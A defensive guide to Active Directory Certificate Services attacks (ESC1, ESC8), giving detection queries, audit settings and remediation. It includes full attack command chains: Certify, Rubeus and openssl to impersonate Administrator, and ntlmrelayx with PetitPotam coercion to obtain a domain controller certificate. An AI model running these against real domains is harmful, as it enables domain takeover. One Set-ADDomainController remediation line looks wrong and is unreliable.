How to Detect Active Directory Certificate Services (AD CS) Attacks

What makes a template vulnerable to ESC1:

All four conditions must be true:

1. Enrollment rights are granted to low-privilege users (Domain Users, Authenticated Users)
2. The template requires no manager approval (automatic issuance)
3. The template allows the requester to specify a Subject Alternative Name (SAN): ENROLLEE_SUPPLIES_SUBJECT flag set
4. The certificate purpose includes Client Authentication (EKU OID 1.3.6.1.5.5.7.3.2)

Identify ESC1 vulnerable templates:

# Using Certify (compiled from SpecterOps GitHub)
Certify.exe find /vulnerable
# Output shows templates with:
# [!] Vulnerable Certificate Templates:
# Template Name: VulnerableTemplate
# Enrollment Permissions:
#   Enrollment Rights: CORP\Domain Users (enabled)
# msPKI-Certificate-Application-Policy: Client Authentication
# msPKI-Enrollment-Flag: ENROLLEE_SUPPLIES_SUBJECT
# Requires Manager Approval: False

# Using PowerShell only (no Certify):
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  -Filter {objectClass -eq "pKICertificateTemplate"} \
  -Properties "msPKI-Enrollment-Flag", "msPKI-Certificate-Application-Policy"

$templates | Where-Object {
    # ENROLLEE_SUPPLIES_SUBJECT = 0x1
    ($_."msPKI-Enrollment-Flag" -band 0x1) -and
    # Client Authentication EKU
    ($_."msPKI-Certificate-Application-Policy" -contains "1.3.6.1.5.5.7.3.2")
} | Select-Object Name

Exploiting ESC1 (to understand the attacker flow):

# Request a certificate for Domain Admin using the vulnerable template:
Certify.exe request /ca:CA01.corp.local\corp-CA /template:VulnerableTemplate \
  /altname:Administrator
# This requests a certificate with SAN = Administrator
# The CA issues it because the template allows ENROLLEE_SUPPLIES_SUBJECT

# Convert the PEM certificate to PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out cert.pfx

# Use the certificate to get a Kerberos TGT as Administrator:
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:mimikatz /ptt
# Result: TGT for Administrator: works even after password changes
# This TGT is valid until the certificate expires (typically 1-5 years)

What is ESC8:

AD CS's web enrollment interface (usually at http://CA-SERVER/certsrv) accepts NTLM authentication by default and does not enforce HTTPS + Extended Protection for Authentication (EPA). This allows an NTLM relay attack: force a domain controller to authenticate to the attacker, relay that authentication to the AD CS HTTP enrollment endpoint, and request a Domain Controller certificate on behalf of the DC. The resulting certificate can then be used for authentication via PKINIT.

# Identify if HTTP enrollment is enabled:
curl -I http://CA01.corp.local/certsrv
# If you get a response (rather than connection refused), ESC8 may be exploitable

# Using certipy (Python-based AD CS assessment tool):
pip install certipy-ad
certipy find -u user@corp.local -p 'Password1' -dc-ip 10.0.0.1
# Output shows: CA is vulnerable to ESC8: HTTP enrollment without HTTPS+EPA

# Exploiting ESC8 (for lab understanding):
# 1. Set up Impacket ntlmrelayx targeting the AD CS HTTP endpoint:
python3 ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp --adcs
# 2. Coerce DC authentication using PetitPotam or similar:
python3 PetitPotam.py attacker-ip CA01.corp.local
# 3. ntlmrelayx intercepts the DC authentication and relays to /certsrv
# 4. AD CS issues a DC certificate: use it with Rubeus to get DC TGT (DCSync follows)

Remediate ESC8:

# Option 1: Disable HTTP enrollment entirely (use HTTPS only)
# On the CA server:
# AD CS > Certificate Authority > Right-click > Properties >
# Security tab: remove HTTP enrollment bindings

# Option 2: Enable HTTPS + Extended Protection for Authentication (EPA)
# IIS Manager on CA server:
# Sites > Default Web Site > CertSrv > Authentication > Windows Authentication >
# Advanced Settings > Extended Protection: Required
# This prevents NTLM relay to the enrollment endpoint

# Option 3: Enable LDAP signing + LDAP channel binding on DCs
# This prevents PetitPotam/coercion attacks from being relayed
Set-ADDomainController -Identity DC01 -SigningAlgorithmOid "1.2.840.113549.1.1.11"
# Use GPO: Domain Controller Security Policy > Security Settings >
# Local Policies > Security Options >
# "Domain controller: LDAP server signing requirements" = Require signing

Enable CA audit logging (disabled by default):

# Enable audit on the Certificate Authority:
certutil -setreg CA\AuditFilter 127
# 127 = audit all certificate operations (issue, revoke, request, fail)
net stop certsvc && net start certsvc

# This enables:
# Event 4886: Certificate services received a certificate request
# Event 4887: Certificate services approved a certificate request
# Event 4888: Certificate services denied a certificate request
# Event 4889: Certificate services set the status of a pending certificate request
# Event 4890: Revocation configuration changed

Sentinel KQL: detect ESC1 exploitation (SAN contains domain admin names):

// Monitor certificate requests where requester specifies admin-like SANs
SecurityEvent
| where EventID == 4887  // Certificate issued
| where TimeGenerated > ago(24h)
// Requester in field: look for non-admin accounts requesting admin certs
| parse Message with * "Requester: " Requester "\r" *
| parse Message with * "Subject: " Subject "\r" *
| parse Message with * "Issued Subject: " IssuedSubject "\r" *
// Alert when the issued subject doesn't match the requester
// (requester requested a certificate for a different identity)
| where IssuedSubject has_any ("Administrator", "Domain Admins", "krbtgt")
    and Requester !has "Administrator"
| project TimeGenerated, Requester, Subject, IssuedSubject, Computer

// Baseline: how many certs is each user requesting per day?
SecurityEvent
| where EventID in (4886, 4887)
| where TimeGenerated > ago(7d)
| parse Message with * "Requester: " Requester "\r" *
| summarize CertCount = count() by Requester, bin(TimeGenerated, 1d)
| where CertCount > 5  // More than 5 cert requests per day = unusual
| sort by CertCount desc

Detect Certify.exe tool usage (Sysmon):

// Certify.exe generates characteristic LDAP queries against the PKI objects
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 1
| extend EventData = parse_xml(EventData)
| extend
    Image = tostring(EventData.DataItem.EventData.Data[4]["#text"]),
    CommandLine = tostring(EventData.DataItem.EventData.Data[10]["#text"]),
    SHA256 = tostring(EventData.DataItem.EventData.Data[17]["#text"])
// Certify.exe may be renamed: detect by known SHA256 or command patterns:
| where CommandLine has_any ("find /vulnerable", "request /ca:", "/template:", "/altname:")
    or SHA256 == "<known Certify.exe SHA256 from threat intel>"
| project TimeGenerated, Computer, Image, CommandLine

# Disable ENROLLEE_SUPPLIES_SUBJECT on vulnerable templates
# Option 1: Edit the template flag directly
$template = Get-ADObject -Filter {Name -eq "VulnerableTemplate"} \
  -SearchBase "CN=Certificate Templates,..." \
  -Properties "msPKI-Enrollment-Flag"

$currentFlag = $template."msPKI-Enrollment-Flag"
# Remove the ENROLLEE_SUPPLIES_SUBJECT bit (0x1)
$newFlag = $currentFlag -band -bnot 0x1
Set-ADObject $template -Replace @{"msPKI-Enrollment-Flag" = $newFlag}

# Option 2: Require manager approval (breaks auto-issuance, but adds review step)
# Template Properties > Issuance Requirements > CA certificate manager approval

# Option 3: Restrict enrollment to specific named accounts/groups
# Remove "Domain Users" or "Authenticated Users" from Enrollment permissions
# Add only the specific service accounts or groups that legitimately need the template

# Option 4: Disable the template entirely if it's not in active use:
# Certificate Authority > Certificate Templates > Right-click template > Delete
# (Only removes the association; doesn't delete the template from AD)

# Identify which templates are actually being used:
# Check CA event log 4887 events for template names over the last 90 days
Get-WinEvent -ComputerName CA01 -LogName Security |
  Where-Object { $_.Id -eq 4887 } |
  ForEach-Object {
    $msg = $_.Message
    if ($msg -match 'Template: ([^\r\n]+)') { $matches[1] }
  } | Group-Object | Sort-Object Count -Descending
# Templates with 0 usage in 90 days can be safely disabled